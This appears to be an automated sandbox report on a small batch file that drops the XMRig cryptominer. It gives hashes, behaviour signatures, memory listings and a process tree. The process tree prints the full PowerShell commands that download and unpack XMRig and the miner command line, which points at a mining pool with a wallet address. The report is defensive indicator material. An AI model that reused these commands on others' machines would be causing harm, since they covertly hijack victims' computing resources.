Analysis

  • max time kernel
    1796s
  • max time network
    1791s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31-12-2023 14:43

General

  • Target

    tesy - Copy (4).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4792
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4228
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4796

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    e2fe87cc2c7dab8ca6516620dccd1381

    SHA1

    f714ec0448325435103519452610cf7aadf8bbba

    SHA256

    d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

    SHA512

    8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

  • memory/4228-42-0x000001754DB40000-0x000001754DB50000-memory.dmp

    Filesize

    64KB

  • memory/4228-41-0x000001754DB40000-0x000001754DB50000-memory.dmp

    Filesize

    64KB

  • memory/4228-40-0x00007FFC4F7D0000-0x00007FFC501BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4228-66-0x000001754DB40000-0x000001754DB50000-memory.dmp

    Filesize

    64KB

  • memory/4228-117-0x00007FFC4F7D0000-0x00007FFC501BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4228-80-0x000001754F9D0000-0x000001754F9E2000-memory.dmp

    Filesize

    72KB

  • memory/4228-93-0x000001754F9C0000-0x000001754F9CA000-memory.dmp

    Filesize

    40KB

  • memory/4792-7-0x000001757D5D0000-0x000001757D5E0000-memory.dmp

    Filesize

    64KB

  • memory/4792-25-0x000001757D5D0000-0x000001757D5E0000-memory.dmp

    Filesize

    64KB

  • memory/4792-9-0x000001757D5D0000-0x000001757D5E0000-memory.dmp

    Filesize

    64KB

  • memory/4792-10-0x000001757D760000-0x000001757D7D6000-memory.dmp

    Filesize

    472KB

  • memory/4792-6-0x00007FFC4F7D0000-0x00007FFC501BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4792-26-0x00007FFC4F7D0000-0x00007FFC501BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4792-27-0x000001757D5D0000-0x000001757D5E0000-memory.dmp

    Filesize

    64KB

  • memory/4792-28-0x000001757D5D0000-0x000001757D5E0000-memory.dmp

    Filesize

    64KB

  • memory/4792-29-0x000001757D5D0000-0x000001757D5E0000-memory.dmp

    Filesize

    64KB

  • memory/4792-34-0x00007FFC4F7D0000-0x00007FFC501BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4792-4-0x0000017565440000-0x0000017565462000-memory.dmp

    Filesize

    136KB

  • memory/4796-144-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-155-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-122-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-123-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-125-0x0000020D89DD0000-0x0000020D89DF0000-memory.dmp

    Filesize

    128KB

  • memory/4796-124-0x0000020D885F0000-0x0000020D88610000-memory.dmp

    Filesize

    128KB

  • memory/4796-126-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-127-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-128-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-130-0x0000020D89DD0000-0x0000020D89DF0000-memory.dmp

    Filesize

    128KB

  • memory/4796-129-0x0000020D885F0000-0x0000020D88610000-memory.dmp

    Filesize

    128KB

  • memory/4796-131-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-132-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-137-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-136-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-135-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-134-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-133-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-138-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-139-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-140-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-141-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-142-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-143-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-120-0x0000020D88380000-0x0000020D883A0000-memory.dmp

    Filesize

    128KB

  • memory/4796-145-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-146-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-147-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-148-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-149-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-150-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-151-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-152-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-153-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-154-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-121-0x0000020D885D0000-0x0000020D885F0000-memory.dmp

    Filesize

    128KB

  • memory/4796-156-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-157-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-158-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-159-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-160-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-161-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-162-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-163-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-164-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-165-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-166-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-167-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-168-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-169-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-170-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-171-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-172-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-173-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-174-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-175-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-176-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-177-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-178-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-179-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-180-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-181-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-182-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-183-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-184-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-185-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-186-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-187-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB

  • memory/4796-188-0x00007FF681C80000-0x00007FF682783000-memory.dmp

    Filesize

    11.0MB